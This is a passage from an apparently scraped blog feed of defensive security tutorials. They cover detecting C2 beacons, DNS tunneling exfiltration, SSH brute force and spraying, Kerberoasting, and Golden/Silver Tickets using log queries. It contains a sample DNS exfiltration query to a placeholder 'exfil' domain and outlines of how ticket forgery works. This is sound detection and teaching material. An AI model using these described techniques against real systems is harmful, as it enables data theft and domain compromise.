&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; conn.tsv | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'$4==443 {
  k=$2" "$3
  if (prev[k]) { d=$1-prev[k]; s[k]+=d; q[k]+=d*d; n[k]++ }
  prev[k]=$1 }
END { for (k in n) { m=s[k]/n[k]; sd=sqrt(q[k]/n[k]-m*m); printf "%.1f %.1f %d %s\n", sd, m, n[k], k } }'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Columns: &lt;code&gt;ts src dst port&lt;/code&gt;, output &lt;code&gt;stddev mean count pair&lt;/code&gt;, smallest deviation first. On synthetic data (60 s +/- 1 s beacon vs. irregular human traffic) the beacon came first with deviation &amp;lt; 2 s and mean about 60 s; the human pair exceeded 10 s.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exfiltration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;zeek-cut id.orig_h id.resp_h id.resp_p orig_bytes resp_bytes conn_state &amp;lt; conn.log &lt;span class="se"&gt;\&lt;/span&gt;
 | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'$2 !~ /^10\./ &amp;amp;&amp;amp; $4+0 &amp;gt; 10000000 {print}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Book command; not run here.) On Windows, use WFP 5156 timestamps with PowerShell for the same statistics.&lt;/p&gt;

&lt;h2&gt;
  
  
  False positives
&lt;/h2&gt;

&lt;p&gt;Monitoring agents, update checks and NTP are regular too. Don't call "regular" bad: combine &lt;strong&gt;regular x unknown destination x a host that shouldn't talk out&lt;/strong&gt; (for example a public web server).&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense
&lt;/h2&gt;

&lt;p&gt;Allow-list outbound traffic from public servers and keep flow/proxy/DNS logs off-host.&lt;/p&gt;

&lt;p&gt;Next: the knock before the lateral move.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapters 17, 18 and 20 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>networking</category>
      <category>zeek</category>
      <category>incidentresponse</category>
    </item>
    <item>
      <title>Golden and Silver Tickets are caught by logs that should exist</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Tue, 03 Nov 2026 03:58:01 +0000</pubDate>
      <link>https://dev.to/tokotokokame/golden-and-silver-tickets-are-caught-by-logs-that-should-exist-4ajb</link>
      <guid>https://dev.to/tokotokokame/golden-and-silver-tickets-are-caught-by-logs-that-should-exist-4ajb</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt;. Event details come from the book and aren't tested on a live domain. Detection only.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After DCSync the attacker holds the &lt;code&gt;krbtgt&lt;/code&gt; key. From here on, the evidence changes: instead of "something happened" logs, you hunt for &lt;strong&gt;things that should have happened but didn't&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;What Golden and Silver tickets forge (five lines)&lt;/li&gt;
&lt;li&gt;The decisive &lt;strong&gt;absence correlations&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Supporting signals (lifetime, RC4, nonexistent accounts)&lt;/li&gt;
&lt;li&gt;False positives (ticket cache, log gaps)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;TGTs are encrypted with the &lt;code&gt;krbtgt&lt;/code&gt; key; service tickets with the service key.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;krbtgt&lt;/code&gt; key = forge any TGT (&lt;strong&gt;Golden&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;Service account key = forge a ticket for that service only (&lt;strong&gt;Silver&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;Golden: a service ticket request with no TGT request on record.&lt;/li&gt;
&lt;li&gt;Silver: the DC is never contacted.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Timeline (incident report facts, UTC)
&lt;/h2&gt;

&lt;p&gt;01:40 &lt;code&gt;svc_web&lt;/code&gt; requests many SPNs with RC4; 02:05 &lt;code&gt;Administrator&lt;/code&gt; NTLM type 3 from WS01; 02:11 &lt;code&gt;svc_sql&lt;/code&gt; 4769 for &lt;code&gt;CIFS/DC01&lt;/code&gt; with no 4768; 02:13 &lt;code&gt;svc_sql&lt;/code&gt; (non-DC) requests replication GUIDs (4662); 02:20 &lt;code&gt;Administrator&lt;/code&gt; 4769 with &lt;strong&gt;no 4768, 10-year lifetime, RC4&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Golden: a 4769 without a 4768
&lt;/h2&gt;

&lt;p&gt;Normal: 4768 then 4769, AES, lifetime within policy. Golden: 4769 alone, RC4, abnormal lifetime, nonexistent or disabled account names.&lt;/p&gt;

&lt;h2&gt;
  
  
  Silver: member server yes, DC no
&lt;/h2&gt;

&lt;p&gt;Service logon (4624 Kerberos) on the member server, but no 4768/4769 on the DC. You can only see this if &lt;strong&gt;both&lt;/strong&gt; logs are collected centrally. PAC validation can also catch it.&lt;/p&gt;

&lt;h2&gt;
  
  
  False positives
&lt;/h2&gt;

&lt;p&gt;Log gaps or clock skew can break 4768/4769 pairing (collect healthily, normalize to UTC). Ticket caching can hide DC requests; ask whether an earlier acquisition can be traced. Only fully untraceable privileged access is forgery.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recovery and defense
&lt;/h2&gt;

&lt;p&gt;Reset &lt;code&gt;krbtgt&lt;/code&gt; &lt;strong&gt;twice&lt;/strong&gt;. Use gMSA, enforce AES, disable RC4, enable PAC validation, protect Tier 0.&lt;/p&gt;

&lt;p&gt;Next: beacons betray themselves with a clock.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 23 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>windows</category>
      <category>kerberos</category>
      <category>activedirectory</category>
    </item>
    <item>
      <title>DNS always gets through, so attackers hid data in it</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Mon, 02 Nov 2026 02:38:29 +0000</pubDate>
      <link>https://dev.to/tokotokokame/dns-always-gets-through-so-attackers-hid-data-in-it-5fic</link>
      <guid>https://dev.to/tokotokokame/dns-always-gets-through-so-attackers-hid-data-in-it-5fic</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt; (RFC 5737 and 10.0.0.0/8 addresses). Detection only.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can close almost all outbound traffic, but not DNS: if names don't resolve, the business stops. Attackers know it and hide stolen data inside query names. Few organizations watch for it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Why DNS tunneling slips through&lt;/li&gt;
&lt;li&gt;Four detection signals&lt;/li&gt;
&lt;li&gt;Aggregation commands tested on synthetic data&lt;/li&gt;
&lt;li&gt;Telling it apart from CDNs and security products&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance
&lt;/h2&gt;

&lt;p&gt;After wiping local logs (part 6), &lt;code&gt;web03&lt;/code&gt; (&lt;code&gt;10.0.0.50&lt;/code&gt;) kept talking, but only through DNS: a flood of queries to &lt;code&gt;*.exfil.203-0-113-9.example&lt;/code&gt;, mostly TXT.&lt;/p&gt;

&lt;h2&gt;
  
  
  Normal vs. tunneling
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;normal   cdn.example.com                                A
attack   a3f9c2e1b7d4....exfil.203-0-113-9.example      TXT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Four signals
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Signal&lt;/th&gt;
&lt;th&gt;Normal&lt;/th&gt;
&lt;th&gt;Tunneling&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Unique subdomains per parent domain&lt;/td&gt;
&lt;td&gt;few&lt;/td&gt;
&lt;td&gt;very many&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Label length / entropy&lt;/td&gt;
&lt;td&gt;short, words&lt;/td&gt;
&lt;td&gt;long, random&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Record type&lt;/td&gt;
&lt;td&gt;A / AAAA&lt;/td&gt;
&lt;td&gt;TXT / NULL skew&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Querying host&lt;/td&gt;
&lt;td&gt;expected clients&lt;/td&gt;
&lt;td&gt;a server that rarely queries&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; dns.log | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
 | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{n=split($1,a,"."); print a[n-2]"."a[n-1]"."a[n]}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
 | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head
awk&lt;/span&gt; &lt;span class="s1"&gt;'$3=="TXT"{t++} END{printf "TXT ratio %d%%\n", t*100/NR}'&lt;/span&gt; dns.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On a synthetic log (200 random queries under &lt;code&gt;exfil&lt;/code&gt;, 300 normal) the top line was &lt;code&gt;200 exfil.203-0-113-9.example&lt;/code&gt;; every normal domain had 1. Length &amp;gt;= 30 with Shannon entropy &amp;gt;= 3.0 flagged all 200 random labels and none of the normal ones. Tune the thresholds on your own baseline.&lt;/p&gt;

&lt;p&gt;Where to watch: the DNS server (Windows DNS Analytical, event 260; client event 3008) or Zeek &lt;code&gt;dns.log&lt;/code&gt; (book details, not run here).&lt;/p&gt;

&lt;h2&gt;
  
  
  False positives
&lt;/h2&gt;

&lt;p&gt;CDNs, security products and cloud services query many dynamic subdomains. Allow-list known parents and keep &lt;strong&gt;unknown parent x high entropy x TXT skew&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense
&lt;/h2&gt;

&lt;p&gt;Force clients to the internal resolver, block external DNS and DoH/DoT, and ship DNS logs somewhere the host can't erase.&lt;/p&gt;

&lt;p&gt;Next: ten thousand failed logins don't matter. One success does.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapters 3, 17 and 18 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>dns</category>
      <category>networking</category>
      <category>incidentresponse</category>
    </item>
    <item>
      <title>Ten thousand failed logins matter less than one success</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Mon, 02 Nov 2026 02:38:28 +0000</pubDate>
      <link>https://dev.to/tokotokokame/ten-thousand-failed-logins-matter-less-than-one-success-2bed</link>
      <guid>https://dev.to/tokotokokame/ten-thousand-failed-logins-matter-less-than-one-success-2bed</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt; (RFC 5737 IPs). Detection only.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A public SSH server gets thousands of failed logins a day. Alerting on all of them burns out analysts. Hidden in that noise is one line you must never miss:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Accepted password for root from 203.0.113.77
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;How brute force and spraying differ, and what each needs&lt;/li&gt;
&lt;li&gt;Picking only IPs that failed &lt;strong&gt;then succeeded&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Detecting spraying by distinct target accounts&lt;/li&gt;
&lt;li&gt;The Windows equivalents&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance
&lt;/h2&gt;

&lt;p&gt;02:18 failed root logins (btmp), 02:20 root success (wtmp), 02:22 payload fetched.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three attack shapes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Shape&lt;/th&gt;
&lt;th&gt;Detection axis&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Brute force&lt;/td&gt;
&lt;td&gt;many passwords, one account, fast&lt;/td&gt;
&lt;td&gt;failures per source IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Spraying&lt;/td&gt;
&lt;td&gt;few passwords, many accounts, slow&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;distinct target accounts&lt;/strong&gt; per IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential stuffing&lt;/td&gt;
&lt;td&gt;leaked pairs reused&lt;/td&gt;
&lt;td&gt;known leaks, success from unknown devices&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Failure followed by success
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;LOG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/log/auth.log&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;THRESHOLD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;20
&lt;span class="k"&gt;for &lt;/span&gt;ip &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'Failed password'&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{for(i=1;i&amp;lt;=NF;i++)if($i=="from")print $(i+1)}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;fails&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"Failed password.*from &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; "&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="nv"&gt;succ&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"Accepted .*from &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; "&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$fails&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-ge&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$THRESHOLD&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$succ&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-ge&lt;/span&gt; 1 &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[SUSPECT] ip=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; fails=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;fails&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; success=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;succ&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On a synthetic log it printed only &lt;code&gt;[SUSPECT] ip=203.0.113.77 fails=30 success=1&lt;/code&gt;; an IP with 50 failures and no success was ignored.&lt;/p&gt;

&lt;h2&gt;
  
  
  Spraying
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'/Failed password/ {u="";ip=""; for(i=1;i&amp;lt;=NF;i++){if($i=="for")u=$(i+1); if($i=="invalid")u=$(i+2); if($i=="from")ip=$(i+1)} if(ip!=""&amp;amp;&amp;amp;u!="")print ip,u}'&lt;/span&gt; /var/log/auth.log &lt;span class="se"&gt;\&lt;/span&gt;
 | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{c[$1]++} END{for(ip in c)print c[ip],ip}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;198.51.100.9, with 12 accounts failed once each, topped the list. Rule of thumb from the book: 10+ distinct accounts from one IP suggests spraying.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to alert on
&lt;/h2&gt;

&lt;p&gt;(1) brute force with a success, (2) spraying, (3) failures from internal segments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Auth method hint
&lt;/h2&gt;

&lt;p&gt;A pile of &lt;code&gt;Failed password&lt;/code&gt; means that host allows password auth at all. Public-key-only hosts stay nearly silent.&lt;/p&gt;

&lt;h2&gt;
  
  
  Windows mapping
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Failed password&lt;/code&gt; = 4625, &lt;code&gt;Accepted&lt;/code&gt; = 4624, &lt;code&gt;Invalid user&lt;/code&gt; = SubStatus 0xC0000064, wrong password = 0xC000006A (book; not tested here).&lt;/p&gt;

&lt;p&gt;Next: Golden and Silver tickets, spotted by logs that aren't there.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 22 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>ssh</category>
      <category>incidentresponse</category>
    </item>
    <item>
      <title>AD attacks hide in normal logs: the tell is the encryption type (RC4)</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Fri, 30 Oct 2026 02:44:22 +0000</pubDate>
      <link>https://dev.to/tokotokokame/ad-attacks-hide-in-normal-logs-the-tell-is-the-encryption-type-rc4-gk4</link>
      <guid>https://dev.to/tokotokokame/ad-attacks-hide-in-normal-logs-the-tell-is-the-encryption-type-rc4-gk4</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt;. Event details are from the book and not tested on a live domain. Detection only.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The hard part of Active Directory attacks: &lt;strong&gt;the logs look normal.&lt;/strong&gt; Service ticket requests happen thousands of times a day. One of them is an attack, and the tell is a field most people ignore: the encryption type.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Why Kerberoasting looks normal&lt;/li&gt;
&lt;li&gt;The one field in Event 4769 that matters (&lt;code&gt;0x17&lt;/code&gt;, RC4)&lt;/li&gt;
&lt;li&gt;Supporting signals: SPN count, requester, honeypot SPNs&lt;/li&gt;
&lt;li&gt;How it differs from AS-REP roasting and Golden/Silver tickets&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;What happened&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;09:12:40&lt;/td&gt;
&lt;td&gt;lsass access on WS01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:13+&lt;/td&gt;
&lt;td&gt;Burst of 4769 on DC01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same&lt;/td&gt;
&lt;td&gt;Requester &lt;code&gt;svc_web&lt;/code&gt;, normally quiet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same&lt;/td&gt;
&lt;td&gt;Many SPNs, encryption type &lt;code&gt;0x17&lt;/code&gt; (RC4)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Reading 4769
&lt;/h2&gt;

&lt;p&gt;Normal: &lt;code&gt;jdoe&lt;/code&gt;, &lt;code&gt;MSSQLSvc/db01.corp:1433&lt;/code&gt;, &lt;code&gt;0x12&lt;/code&gt; (AES256). Suspicious: &lt;code&gt;svc_web&lt;/code&gt;, many SPNs, &lt;code&gt;0x17&lt;/code&gt; in an AES environment. A &lt;strong&gt;honeypot SPN&lt;/strong&gt; (a fake service account nobody uses) makes any request a near-certain signal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4769&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-MaxEvents&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2000&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(From the book; not run here. Filter on type, requester and SPN count.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Siblings
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Tell&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Kerberoasting&lt;/td&gt;
&lt;td&gt;4769&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x17&lt;/code&gt;, many SPNs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AS-REP roasting&lt;/td&gt;
&lt;td&gt;4768&lt;/td&gt;
&lt;td&gt;pre-auth type &lt;code&gt;0&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Golden Ticket&lt;/td&gt;
&lt;td&gt;4769&lt;/td&gt;
&lt;td&gt;no matching 4768, abnormal lifetime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Silver Ticket&lt;/td&gt;
&lt;td&gt;none on DC&lt;/td&gt;
&lt;td&gt;needs service-side correlation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Defense
&lt;/h2&gt;

&lt;p&gt;Long service-account passwords (or gMSA), AES everywhere, honeypot SPNs.&lt;/p&gt;

&lt;p&gt;Next: the night a domain controller replicated its own secrets.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 23 of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>windows</category>
      <category>activedirectory</category>
      <category>kerberos</category>
    </item>
    <item>
      <title>One account without MFA lost an AWS account in 13 minutes</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Thu, 29 Oct 2026 02:35:31 +0000</pubDate>
      <link>https://dev.to/tokotokokame/one-account-without-mfa-lost-an-aws-account-in-13-minutes-16j0</link>
      <guid>https://dev.to/tokotokokame/one-account-without-mfa-lost-an-aws-account-in-13-minutes-16j0</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt; (RFC 5737 IPs; account and key IDs are made up). AWS details come from the book and aren't tested live.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The same &lt;code&gt;jdoe&lt;/code&gt; whose credentials we followed on-prem shows up in the cloud. Logged in at 09:02; CloudTrail was stopped by 09:15. No MFA.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A 13-minute compromise timeline in CloudTrail&lt;/li&gt;
&lt;li&gt;Recon -&amp;gt; escalation -&amp;gt; persistence -&amp;gt; exfiltration -&amp;gt; concealment, with API names&lt;/li&gt;
&lt;li&gt;How GuardDuty, VPC Flow Logs and CloudTrail complement each other&lt;/li&gt;
&lt;li&gt;Guardrails: MFA, SCP, Access Analyzer&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Timeline
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;09:02&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ConsoleLogin&lt;/code&gt; jdoe, &lt;strong&gt;no MFA&lt;/strong&gt;, &lt;code&gt;203.0.113.77&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;entry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
